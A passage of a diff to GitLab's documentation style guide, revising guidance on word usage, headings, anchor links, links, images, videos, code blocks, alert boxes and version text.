acceptable, but references to increasing GitLab's performance for additional - users should direct readers to the GitLab - [reference architectures](../../../administration/reference_architectures/index.md) - page. -- Avoid all forms of the phrases *high availability* and *HA*, and instead - direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) - for information about configuring GitLab to have the performance needed for - additional users over time. -- Don't use profanity or obscenities. Doing so may negatively affect other - users and contributors, which is contrary to GitLab's value of - [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion). -- Avoid the use of [racially-insensitive terminology or phrases](https://www.marketplace.org/2020/06/17/tech-companies-update-language-to-avoid-offensive-terms/). For example: - - Use *primary* and *secondary* for database and server relationships. - - Use *allowlist* and *denylist* to describe access control lists. -- Avoid the word _please_. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please). -- Avoid words like _easily_, _simply_, _handy_, and _useful._ If the user - doesn't find the process to be these things, we lose their trust. - -### Word usage clarifications - -- Don't use "may" and "might" interchangeably: - - Use "might" to indicate the probability of something occurring. "If you - skip this step, the import process might fail." - - Use "may" to indicate giving permission for someone to do something, or - consider using "can" instead. "You may select either option on this - screen." Or, "You can select either option on this screen." - +### Usage list +<!-- vale off --> + +| Usage | Guidance | +|-----------------------|-----| +| admin, admin area | Use **administration**, **administrator**, **administer**, or **Admin Area** instead. |. +| and/or | Use **or** instead, or another sensible construction. | +| currently | Do not use when talking about the product or its features. The documentation describes the product as it is today. | +| easily | Do not use. If the user doesn't find the process to be these things, we lose their trust. | +| e.g. | Do not use Latin abbreviations. Use **for example**, **such as**, **for instance**, or **like** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) | +| future tense | When possible, use present tense instead. For example, use `after you execute this command, GitLab displays the result` instead of `after you execute this command, GitLab will display the result`. ([Vale](../testing.md#vale) rule: [`FutureTense.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FutureTense.yml)) | +| handy | Do not use. If the user doesn't find the process to be these things, we lose their trust. | +| high availability, HA | Do not use. Instead, direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) for information about configuring GitLab for handling greater amounts of users. | +| I | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) | +| i.e. | Do not use Latin abbreviations. Use **that is** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) | +| jargon | Do not use. Define the term or [link to a definition](#links-to-external-documentation). | +| may, might | **Might** means something has the probability of occurring. **May** gives permission to do something. Consider **can** instead of **may**. | +| me, myself, mine | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) | +| please | Do not use. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please). | +| profanity | Do not use. Doing so may negatively affect other users and contributors, which is contrary to the GitLab value of [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion). | +| scalability | Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page. | +| simply | Do not use. If the user doesn't find the process to be these things, we lose their trust. | +| slashes | Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed. | +| that | Do not use. Example: `the file that you save` can be `the file you save`. | +| useful | Do not use. If the user doesn't find the process to be these things, we lose their trust. | +| utilize | Do not use. Use **use** instead. It's more succinct and easier for non-native English speakers to understand. | +| via | Do not use Latin abbreviations. Use **with**, **through**, or **by using** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) | + +<!-- vale on --> ### Contractions Contractions are encouraged, and can create a friendly and informal tone, @@ -604,11 +560,13 @@ especially in tutorials, instructional documentation, and Some contractions, however, should be avoided: +- Do not use [the word GitLab in a contraction](#trademark). + - Do not use contractions with a proper noun and a verb. For example: | Do | Don't | |------------------------------------------|-----------------------------------------| - | GitLab is creating X. | GitLab's creating X. | + | Canada is establishing X. | Canada's establishing X. | - Do not use contractions when you need to emphasize a negative. For example: @@ -674,8 +632,8 @@ Follow these guidelines for punctuation: ### Placeholder text -Often in examples, a writer will provide a command or configuration that -uses values specific to the reader. +You might want to provide a command or configuration that +uses specific values. In these cases, use [`<` and `>`](https://en.wikipedia.org/wiki/Usage_message#Pattern) to call out where a reader must replace text with their own value. @@ -691,12 +649,23 @@ cp <your_source_directory> <your_destination_directory> Use the HTML `<kbd>` tag when referring to keystroke presses. For example: ```plaintext -To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>. +To stop the command, press <kbd>Control</kbd>+<kbd>C</kbd>. ``` When the docs are generated, the output is: -To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>. +To stop the command, press <kbd>Control</kbd>+<kbd>C</kbd>. + +### Spaces between words + +Use only standard spaces between words. The search engine for the documentation +website doesn't split words separated with +[non-breaking spaces](https://en.wikipedia.org/wiki/Non-breaking_space) when +indexing, and fails to create expected individual search terms. Tests that search +for certain words separated by regular spaces can't find words separated by +non-breaking spaces. + +Tested in [`lint-doc.sh`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/lint-doc.sh). ## Lists @@ -733,7 +702,7 @@ This is a list of available features: - Use dashes (`-`) for unordered lists instead of asterisks (`*`). - Prefix `1.` to every item in an ordered list. When rendered, the list items - will appear with sequential numbering. + display with sequential numbering. ### Punctuation @@ -793,6 +762,8 @@ Items nested in lists should always align with the first character of the list item. In unordered lists (using `-`), this means two spaces for each level of indentation: +<!-- vale off --> + ````markdown - Unordered list item 1 @@ -806,7 +777,7 @@ indentation: - Unordered list item 3 ```plaintext - a codeblock that will next inside list item 3 + a code block that nests inside list item 3 ``` - Unordered list item 4 @@ -814,8 +785,12 @@ indentation:  ```` +<!-- vale on --> + For ordered lists, use three spaces for each level of indentation: +<!-- vale off --> + ````markdown 1. Ordered list item 1 @@ -829,7 +804,7 @@ For ordered lists, use three spaces for each level of indentation: 1. Ordered list item 3 ```plaintext - a codeblock that will next inside list item 3 + a code block that nests inside list item 3 ``` 1. Ordered list item 4 @@ -837,6 +812,8 @@ For ordered lists, use three spaces for each level of indentation:  ```` +<!-- vale on --> + You can nest full lists inside other lists using the same rules as above. If you want to mix types, that's also possible, if you don't mix items at the same level: @@ -864,7 +841,7 @@ that's best described by a matrix, tables are the best choice. ### Creation guidelines -Due to accessibility and scannability requirements, tables should not have any +To keep tables accessible and scannable, tables should not have any empty cells. If there is no otherwise meaningful value for a cell, consider entering *N/A* (for 'not applicable') or *none*. @@ -886,9 +863,9 @@ Consider installing a plugin or extension in your editor for formatting tables: ### Feature tables -When creating tables of lists of features (such as whether or not features are -available to certain roles on the [Permissions](../../../user/permissions.md#project-members-permissions) -page), use the following phrases (based on the SVG icons): +When creating tables of lists of features (such the features +available to each role on the [Permissions](../../../user/permissions.md#project-members-permissions) +page), use the following phrases: | Option | Markdown | Displayed result | |--------|--------------------------|------------------------| @@ -901,8 +878,8 @@ Valid for Markdown content only, not for front matter entries: - Standard quotes: double quotes (`"`). Example: "This is wrapped in double quotes". -- Quote within a quote: double quotes (`"`) wrap single quotes (`'`). Example: - "I am 'quoting' something within a quote". +- Quote inside a quote: double quotes (`"`) wrap single quotes (`'`). Example: + "This sentence 'quotes' something in a quote". For other punctuation rules, refer to the [GitLab UX guide](https://design.gitlab.com/content/punctuation/). @@ -910,7 +887,7 @@ For other punctuation rules, refer to the ## Headings - Add _only one H1_ in each document, by adding `#` at the beginning of - it (when using Markdown). The `h1` will be the document `<title>`. + it (when using Markdown). The `h1` becomes the document `<title>`. - Start with an `h2` (`##`), and respect the order `h2` > `h3` > `h4` > `h5` > `h6`. Never skip the hierarchy level, such as `h2` > `h4` - Avoid putting numbers in headings. Numbers shift, hence documentation anchor @@ -922,16 +899,16 @@ For other punctuation rules, refer to the - When possible, avoid including words that might change in the future. Changing a heading changes its anchor URL, which affects other linked pages. - When introducing a new document, be careful for the headings to be - grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/product/product-categories/) + grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/product/categories/) for review. This is to ensure that no document with wrong heading is going live without an audit, thus preventing dead links and redirection issues when corrected. - Leave exactly one blank line before and after a heading. - Do not use links in headings. -- Add the corresponding [product badge](#product-badges) according to the tier the +- Add the corresponding [product badge](#product-tier-badges) according to the tier the feature belongs. - Our documentation site search engine prioritizes words used in headings and - subheadings. Make you subheading titles clear, descriptive, and complete to help + subheadings. Make your subheading titles clear, descriptive, and complete to help users find the right example, as shown in the section on [heading titles](#heading-titles). - See [Capitalization](#capitalization) for guidelines on capitalizing headings. @@ -943,54 +920,52 @@ search engine optimization (SEO), use the imperative, where possible. | Do | Don't | |:--------------------------------------|:------------------------------------------------------------| | Configure GDK | Configuring GDK | -| GitLab Release and Maintenance Policy | This section covers GitLab's Release and Maintenance Policy | +| GitLab Release and Maintenance Policy | This section covers the GitLab Release and Maintenance Policy | | Backport to older releases | Backporting to older releases | | GitLab Pages examples | Examples | For guidelines on capitalizing headings, see the section on [capitalization](#capitalization). -NOTE: **Note:** -If you change an existing title, be careful. These changes might affect not -only [links](#anchor-links) within the page, but might also affect links to the -GitLab documentation from both the GitLab application and external sites. +NOTE: +If you change an existing title, be careful. In-page [anchor links](#anchor-links), +links in the GitLab application, and links from external sites can break. ### Anchor links Headings generate anchor links when rendered. `## This is an example` generates the anchor `#this-is-an-example`. -NOTE: **Note:** +NOTE: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39717) in -GitLab 13.4, [product badges](#product-badges) used in headings aren't included -in the generated anchor links. For example, when you link to +GitLab 13.4, [product badges](#product-tier-badges) used in headings aren't +included in the generated anchor links. For example, when you link to `## This is an example **(CORE)**`, use the anchor `#this-is-an-example`. Keep in mind that the GitLab user interface links to many documentation pages -and anchor links to take the user to the right spot. Therefore, when you change +and anchor links to take the user to the right spot. When you change a heading, search `doc/*`, `app/views/*`, and `ee/app/views/*` for the old -anchor to make sure you're not breaking an anchor linked from other -documentation nor from the GitLab user interface. If you find the old anchor, be -sure to replace it with the new one. +anchor. If you do not fix these links, the [`ui-docs-lint` job](../testing.md#ui-link-tests) +in your merge request fails. Important: - Avoid crosslinking documentation to headings unless you need to link to a - specific section of the document. This will avoid breaking anchors in the + specific section of the document. This avoids breaking anchors in the future in case the heading is changed. -- If possible, avoid changing headings since they're not only linked internally. +- If possible, avoid changing headings, because they're not only linked internally. There are various links to GitLab documentation on the internet, such as tutorials, presentations, StackOverflow posts, and other sources. - Do not link to `h1` headings. -Note that, with Kramdown, it is possible to add a custom ID to an HTML element -with Markdown markup, but they _do not_ work in GitLab's `/help`. Therefore, -do not use this option until further notice. +Note that with Kramdown, it's possible to add a custom ID to an HTML element +with Markdown markup, but they don't work in `/help`. Because of this, don't use +this option. ## Links Links are important in GitLab documentation. They allow you to [link instead of summarizing](#link-instead-of-summarize) to help preserve a [single source of truth](#why-a-single-source-of-truth) -within GitLab documentation. +in GitLab documentation. We include guidance for links in the following categories: @@ -1004,7 +979,7 @@ We include guidance for links in the following categories: for authoritative sources. - When to use [links requiring permissions](#links-requiring-permissions). - How to set up a [link to a video](#link-to-video). -- How to [include links with version text](#text-for-documentation-requiring-version-text). +- How to [include links with version text](#where-to-put-version-text). - How to [link to specific lines of code](#link-to-specific-lines-of-code) ### Basic link criteria @@ -1018,13 +993,13 @@ We include guidance for links in the following categories: ### Links to internal documentation -NOTE: **Note:** +NOTE: _Internal_ refers to documentation in the same project. When linking to documentation in separate projects (for example, linking to Omnibus documentation from GitLab documentation), you must use absolute URLs. Do not use absolute URLs like `https://docs.gitlab.com/ee/index.html` to -crosslink to other documentation within the same project. Use relative links to +cross-link to other documentation in the same project. Use relative links to the file, like `../index.md`. (These are converted to HTML when the site is rendered.) @@ -1033,7 +1008,7 @@ Relative linking enables crosslinks to work: - in Review Apps, local previews, and `/help`. - when working on the documentation locally, so you can verify that they work as early as possible in the process. -- within the GitLab user interface when browsing doc files in their respective +- in the GitLab user interface when browsing doc files in their respective repositories. For example, the links displayed at `https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md`. @@ -1053,7 +1028,7 @@ To link to internal documentation: Do: `../../geo/replication/troubleshooting.md` -- Always add the file name `file.md` at the end of the link with the `.md` +- Always add the filename `file.md` at the end of the link with the `.md` extension, not `.html`. Don't: @@ -1068,7 +1043,7 @@ To link to internal documentation: - `../../issues/tags.md` - `../../issues/tags.md#stages` -NOTE: **Note:** +NOTE: Using the Markdown extension is necessary for the [`/help`](../index.md#gitlab-help) section of GitLab. @@ -1109,7 +1084,7 @@ While many of these sources to avoid can help you learn skills and or features, they can become obsolete quickly. Nobody is obliged to maintain any of these sites. Therefore, we should avoid using them as reference literature. -NOTE: **Note:** +NOTE: Non-authoritative sources are acceptable only if there is no equivalent authoritative source. Even then, focus on non-authoritative sources that are extensively cited or peer-reviewed. @@ -1122,7 +1097,7 @@ Don't link directly to: - Project features that require [special permissions](../../../user/permissions.md) to view. -These will fail for: +These fail for: - Those without sufficient permissions. - Automated link checkers. @@ -1143,16 +1118,16 @@ For more information, see the [confidential issue](../../../user/project/issues/ ### Link to specific lines of code -When linking to specific lines within a file, link to a commit instead of to the -branch. Lines of code change through time, therefore, linking to a line by using +When linking to specific lines in a file, link to a commit instead of to the +branch. Lines of code change over time. Linking to a line by using the commit link ensures the user lands on the line you're referring to. The -**Permalink** button, which is available when viewing a file within a project, -makes it easy to generate a link to the most recent commit of the given file. +**Permalink** button, displayed when viewing a file in a project, +provides a link to the most recent commit of that file. - _Do_: `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/11f17c56d8b7f0b752562d78a4298a3a95b5ce66/.gitlab/issue_templates/Feature%20proposal.md#L3)` - _Don't_: `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md#L3).` -If that linked expression is no longer in that line of the file due to additional +If that linked expression has changed line numbers due to additional commits, you can still search the file for that query. In this case, update the document to ensure it links to the most recent version of the file. @@ -1206,9 +1181,9 @@ When you take screenshots: ### Save the image -- Save the image with a lowercase file name that's descriptive of the feature +- Save the image with a lowercase filename that's descriptive of the feature or concept in the image. If the image is of the GitLab interface, append the - GitLab version to the file name, based on the following format: + GitLab version to the filename, based on the following format: `image_name_vX_Y.png`. For example, for a screenshot taken from the pipelines page of GitLab 11.1, a valid name is `pipelines_v11_1.png`. If you're adding an illustration that doesn't include parts of the user interface, add the release @@ -1218,10 +1193,10 @@ When you take screenshots: the `.md` document that you're working on is located. - Consider using PNG images instead of JPEG. - [Compress all PNG images](#compress-images). -- Compress gifs with <https://ezgif.com/optimize> or similar tool. +- Compress GIFs with <https://ezgif.com/optimize> or similar tool. - Images should be used (only when necessary) to _illustrate_ the description of a process, not to _replace_ it. -- Max image size: 100KB (gifs included). +- Max image size: 100KB (GIFs included). - See also how to link and embed [videos](#videos) to illustrate the documentation. @@ -1268,12 +1243,14 @@ request. ## Videos -Adding GitLab's existing YouTube video tutorials to the documentation is highly +Adding GitLab YouTube video tutorials to the documentation is highly encouraged, unless the video is outdated. Videos should not replace documentation, but complement or illustrate it. If content in a video is -fundamental to a feature and its key use cases, but this is not adequately -covered in the documentation, add this detail to the documentation text or -create an issue to review the video and do so. +fundamental to a feature and its key use cases, but isn't adequately +covered in the documentation, you should: + +- Add this detail to the documentation text. +- Create an issue to review the video and update the page. Do not upload videos to the product repositories. [Link](#link-to-video) or [embed](#embed-videos) them instead. @@ -1297,11 +1274,11 @@ You can link any up-to-date video that's useful to the GitLab user. The [GitLab documentation site](https://docs.gitlab.com) supports embedded videos. -You can only embed videos from [GitLab's official YouTube account](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg). +You can embed videos from [the official YouTube account for GitLab](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg) only. For videos from other sources, [link](#link-to-video) them instead. -In most cases, it is better to [link to video](#link-to-video) instead, because -an embed takes up a lot of space on the page and can be distracting to readers. +In most cases, [link to a video](#link-to-video), because +embedded videos take up a lot of space on the page and can be distracting to readers. To embed a video: @@ -1341,9 +1318,9 @@ This is how it renders on the GitLab documentation site: > - The `figure` tag is required for semantic SEO and the `video_container` class is necessary to make sure the video is responsive and displays on different mobile devices. -> - The `<div class="video-fallback">` is a fallback necessary for GitLab's -`/help`, as GitLab's Markdown processor does not support iframes. It's hidden on -the documentation site, but will be displayed on GitLab's `/help`. +> - The `<div class="video-fallback">` is a fallback necessary for +`/help`, because the GitLab Markdown processor doesn't support iframes. It's +hidden on the documentation site, but is displayed by `/help`. ## Code blocks @@ -1361,10 +1338,12 @@ the documentation site, but will be displayed on GitLab's `/help`. and leave a blank line between the command and the output. - When providing a command without output, don't prefix the shell command with `$`. - If you need to include triple backticks inside a code block, use four backticks - for the codeblock fences instead of three. + for the code block fences instead of three. - For regular fenced code blocks, always use a highlighting class corresponding to the language for better readability. Examples: + <!-- vale off --> + ````markdown ```ruby Ruby code @@ -1383,6 +1362,8 @@ the documentation site, but will be displayed on GitLab's `/help`. ``` ```` + <!-- vale on --> + Syntax highlighting is required for fenced code blocks added to the GitLab documentation. Refer to the following table for the most common language classes, or check the [complete list](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers) @@ -1398,7 +1379,7 @@ of available language classes: | `graphql` | | | `haml` | | | `html` | | -| `ini` | For some simple config files that are not in TOML format. | +| `ini` | For some simple configuration files that are not in TOML format. | | `javascript` | Alias `js`. | | `json` | | | `markdown` | Alias: `md`. | @@ -1406,7 +1387,7 @@ of available language classes: | `nginx` | | | `perl` | | | `php` | | -| `plaintext` | Examples with no defined language, such as output from shell commands or API calls. If a codeblock has no language, it defaults to `plaintext`. Alias: `text`. | +| `plaintext` | Examples with no defined language, such as output from shell commands or API calls. If a code block has no language, it defaults to `plaintext`. Alias: `text`.| | `prometheus` | Prometheus configuration examples. | | `python` | | | `ruby` | Alias: `rb`. | @@ -1436,7 +1417,7 @@ Usage examples: Example: `**{tanuki}**` renders as: **{tanuki}**. - Icon with custom size: `**{icon-name, size}**` - Available sizes (in px): 8, 10, 12, 14, 16, 18, 24, 32, 48, and 72 + Available sizes (in pixels): 8, 10, 12, 14, 16, 18, 24, 32, 48, and 72 Example: `**{tanuki, 24}**` renders as: **{tanuki, 24}**. - Icon with custom size and class: `**{icon-name, size, class-name}**`. @@ -1467,14 +1448,14 @@ interface: | Section | Description | |:-------------------------|:----------------------------------------------------------------------------------------------------------------------------| | **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. | -| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. | +| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit events. | | **{messages}** Messages | Send and manage broadcast messages for your users. | ``` | Section | Description | |:-------------------------|:----------------------------------------------------------------------------------------------------------------------------| | **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. | -| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. | +| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit events. | | **{messages}** Messages | Send and manage broadcast messages for your users. | Use an icon when you find yourself having to describe an interface element. For @@ -1485,102 +1466,72 @@ example: ## Alert boxes -When you need to call special attention to particular sentences, use the -following markup to create highlighted alert boxes. +Use alert boxes to call attention to information. -Alert boxes work for one paragraph only. Multiple paragraphs, lists, and headers -won't render correctly. For multiple lines, use [blockquotes](#blockquotes) -instead. +Alert boxes are generated when the words `NOTE:` or `WARNING:` are followed by a +line break. For example: -Alert boxes render only on the GitLab documentation site (<https://docs.gitlab.com>). -In the GitLab product help, alert boxes appear as plain Markdown text. +```markdown +NOTE: +This is something to note. +``` -These alert boxes are used in the GitLab documentation. These aren't strict -guidelines, but for consistency you should try to use these values: +To display an alert box for multiple paragraphs, lists, or headers, use +[blockquotes](#blockquotes) instead. -| Color | Markup | Default keyword | Alternative keywords | -|--------|------------|-----------------|----------------------------------------------------------------------| -| Blue | `NOTE:` | `**Note:**` | | -| Yellow | `CAUTION:` | `**Caution:**` | `**Warning:**`, `**Important:**` | -| Red | `DANGER:` | `**Danger:**` | `**Warning:**`, `**Important:**`, `**Deprecated:**`, `**Required:**` | -| Green | `TIP:` | `**Tip:**` | | +Alert boxes render only on the GitLab documentation site (<https://docs.gitlab.com>). +In the GitLab product help, alert boxes appear as plain text. ### Note -Notes indicate additional information that's of special use to the reader. -Notes are most effective when used _sparingly_. +Use notes sparingly. Too many notes can make topics difficult to scan. -Try to avoid them. Too many notes can impact the scannability of a topic and -create an overly busy page. +Instead of adding a note: -Instead of adding a note, try one of these alternatives: +- Re-write the sentence as part of a paragraph. +- Put the information into its own paragraph. +- Put the content under a new subheading. -- Re-write the sentence as part of the most-relevant paragraph. -- Put the information into its own standalone paragraph. -- Put the content under a new subheading that introduces the topic, which makes - it more visible. - -If you must use a note, use the following formatting: +If you must use a note, use this format: ```markdown -NOTE: **Note:** +NOTE: This is something to note. ``` -How it renders on the GitLab documentation site: +It renders on the GitLab documentation site as: -NOTE: **Note:** +NOTE: This is something to note. -### Tip - -```markdown -TIP: **Tip:** -This is a tip. -``` - -How it renders on the GitLab documentation site: - -TIP: **Tip:** -This is a tip. - -### Caution - -```markdown -CAUTION: **Caution:** -This is something to be cautious about. -``` - -How it renders on the GitLab documentation site: - -CAUTION: **Caution:** -This is something to be cautious about. +### Warning -### Danger +Use a warning to indicate deprecated features, or to provide a warning about +procedures that have the potential for data loss. ```markdown -DANGER: **Warning:** -This is a breaking change, a bug, or something very important to note. +WARNING: +This is something to be warned about. ``` -How it renders on the GitLab documentation site: +It renders on the GitLab documentation site as: -DANGER: **Warning:** -This is a breaking change, a bug, or something very important to note. +WARNING: +This is something to be warned about. ## Blockquotes -For highlighting a text within a blue blockquote, use this format: +For highlighting a text inside a blockquote, use this format: ```markdown > This is a blockquote. ``` -which renders on the [GitLab documentation site](https://docs.gitlab.com) as: +It renders on the GitLab documentation site as: > This is a blockquote. -If the text spans across multiple lines it's OK to split the line. +If the text spans multiple lines, you can split them. For multiple paragraphs, use the symbol `>` before every line: @@ -1593,7 +1544,7 @@ For multiple paragraphs, use the symbol `>` before every line: > - Second item in the list ``` -Which renders to: +It renders on the GitLab documentation site as: > This is the first paragraph. > @@ -1610,7 +1561,7 @@ documentation authors on agreed styles and usage of terms. ### Merge requests (MRs) Merge requests allow you to exchange changes you made to source code and -collaborate with other people on the same project. You'll see this term used in +collaborate with other people on the same project. This term is used in the following ways: - Use lowercase _merge requests_ regardless of whether referring to the feature @@ -1654,36 +1605,43 @@ elements: |:------------|:--------------------------------|:----------------------| | _go to_ | making a browser go to location | "navigate to", "open" | -## GitLab versions and tiers +## GitLab versions -Tagged and released versions of GitLab documentation are available: +GitLab product documentation pages (not including [Contributor and Development](../../README.md) +pages in the `/development` directory) can include version information to help +users be aware of recent improvements or additions. -- In the [documentation archives](https://docs.gitlab.com/archives/). -- At the `/help` URL for any GitLab installation. +The GitLab Technical Writing team determines which versions of +documentation to display on this site based on the GitLab +[Statement of Support](https://about.gitlab.com/support/statement-of-support.html#we-support-the-current-major-version-and-the-two-previous-major-versions). -The version introducing a new feature is added to the top of the topic in the -documentation to provide a link back to how the feature was developed. +### View older GitLab documentation versions -TIP: **Tip:** -Whenever you have documentation related to the `gitlab.rb` file, you're working -with a self-managed installation. The section or page is therefore likely to -apply only to self-managed instances. If so, the relevant "`TIER` ONLY" -[Product badge](#product-badges) should be included at the highest applicable -heading level. +Older versions of GitLab may no longer have documentation available from `docs.gitlab.com`. +If documentation for your version is no longer available from `docs.gitlab.com`, you can still view a +tagged and released set of documentation for your installed version: -### Text for documentation requiring version text +- In the [documentation archives](https://docs.gitlab.com/archives/). +- At the `/help` URL of your GitLab instance. +- In the documentation repository based on the respective branch (for example, + the [13.2 branch](https://gitlab.com/gitlab-org/gitlab/-/tree/13-2-stable-ee/doc)). -When a feature is new or updated, you can add version information as a bulleted -item in the **Version history**, or as an inline reference with related text. +### Where to put version text + +When a feature is added or updated, you can include its version information +either as a **Version history** item or as an inline text reference. + +Version text shouldn't include information about the tier in which the feature +is available. This information is provided by the [product badge](#product-tier-badges) +displayed for the page or feature. #### Version text in the **Version History** -If all content in a section is related, add version text following the header for -the section. Each entry should be on a single line. To render correctly, it must be on its -own line and surrounded by blank lines. +If all content in a section is related, add version text following the header +for the section. The version information must be surrounded by blank lines, and +each entry should be on its own line. -Features should declare the GitLab version that introduced a feature in a blockquote -following the header: +Add the version history information as a blockquote: ```markdown ## Feature name @@ -1693,24 +1651,16 @@ following the header: This feature does something. ``` -Whenever possible, version text should have a link to the _completed_ issue, -merge request, or epic that introduced the feature. An issue is preferred over -a merge request, and a merge request is preferred over an epic. For example: +Whenever possible, version text should have a link to the completed issue, merge +request, or epic that introduced the feature. An issue is preferred over a merge +request, and a merge request is preferred over an epic. For example: ```markdown > [Introduced](<link-to-issue>) in GitLab 11.3. ``` -If the feature is only available in GitLab Enterprise Edition, mention -the [paid tier](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) -the feature is available in: - -```markdown -> [Introduced](<link-to-issue>) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3. -``` - -If listing information for multiple version as a feature evolves, add the -information to a block-quoted bullet list. For example: +If you're adding information about new features or changes in a release, update +the blockquote to use a bulleted list: ```markdown > - [Introduced](<link-to-issue>) in GitLab 11.3. @@ -1720,9 +1670,8 @@ information to a block-quoted bullet list. For example: If a feature is moved to another tier: ```markdown -> - [Introduced](<link-to-issue>) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.5. -> - [Moved](<link-to-issue>) to [GitLab Starter](https://about.gitlab.com/pricing/) in 11.8. -> - [Moved](<link-to-issue>) to GitLab Core in 12.0. +> - [Moved](<link-to-issue>) from [GitLab Premium](https://about.gitlab.com/pricing/) to [GitLab Starter](https://about.gitlab.com/pricing/) in 11.8. +> - [Moved](<link-to-issue>) from [GitLab Starter](https://about.gitlab.com/pricing/) to GitLab Core in 12.0. ``` If a feature is deprecated, include a link to a replacement (when available): @@ -1731,127 +1680,123 @@ If a feature is deprecated, include a link to a replacement (when available): > - [Deprecated](<link-to-issue>) in GitLab 11.3. Replaced by [meaningful text](<link-to-appropriate-documentation>). ``` -You can also describe the replacement in surrounding text, if available. - -If the deprecation is not obvious in existing text, you may want to include a -warning such as: +You can also describe the replacement in surrounding text, if available. If the +deprecation isn't obvious in existing text, you may want to include a warning: ```markdown -DANGER: **Deprecated:** -This feature was [deprecated](link-to-issue) in GitLab 12.3 -and replaced by [Feature name](link-to-feature-documentation). +WARNING: +This feature was [deprecated](link-to-issue) in GitLab 12.3 and replaced by +[Feature name](link-to-feature-documentation). ``` +In the first major GitLab version after the feature was deprecated, be sure to +remove information about that deprecated feature. + #### Inline version text If you're adding content to an existing topic, you can add version information inline with the existing text. In this case, add `([introduced/deprecated](<link-to-issue>) in GitLab X.X)`. -If applicable, include the paid tier: `([introduced/deprecated](<link-to-issue>) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.4)` Including the issue link is encouraged, but isn't a requirement. For example: ```markdown -The voting strategy (in GitLab 13.4 and later) requires -the primary and secondary voters to agree. +The voting strategy in GitLab 13.4 and later requires the primary and secondary +voters to agree. ``` #### End-of-life for features or products -Whenever a feature or product enters the end-of-life process, indicate its -status by using the `Danger` [alert](#alert-boxes) with the `**Important**` -keyword directly below the feature or product's header (which can include H1 -page titles). Link to the deprecation and removal issues, if possible. +When a feature or product enters its end-of-life, indicate its status by +creating a [warning alert](#alert-boxes) directly following its relevant header. +If possible, link to its deprecation and removal issues. For example: ```markdown -DANGER: **Important:** +WARNING: This feature is in its end-of-life process. It is [deprecated](link-to-issue) for use in GitLab X.X, and is planned for [removal](link-to-issue) in GitLab X.X. ``` +After the feature or product is officially deprecated and removed, remove +its information from the GitLab documentation. + ### Versions in the past or future When describing functionality available in past or future versions, use: -- _Earlier_, and not _older_ or _before_. -- _Later_, and not _newer_ or _after_. +- Earlier, and not older or before. +- Later, and not newer or after. For example: -- Available in GitLab 12.3 and earlier. +- Available in GitLab 13.1 and earlier. - Available in GitLab 12.4 and later. -- In GitLab 11.4 and earlier, ... -- In GitLab 10.6 and later, ... +- In GitLab 12.2 and earlier, ... +- In GitLab 11.6 and later, ... -### Importance of referencing GitLab versions and tiers +### Removing versions after each major release -Mentioning GitLab versions and tiers is important to all users and contributors -to quickly have access to the issue or merge request that introduced the change. -Also, they can know what features they have in their GitLab -instance and version, given that the note has some key information. +Whenever a major GitLab release occurs, we remove all version references +to now-unsupported versions of GitLab. Note that this includes the removal of +specific instructions for users of non-supported GitLab versions. For example, +if GitLab versions 11.x and later are supported, special +instructions for users of GitLab 10 should be removed. -`[Introduced](link-to-issue) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.7` -links to the issue that introduced the feature, says which GitLab 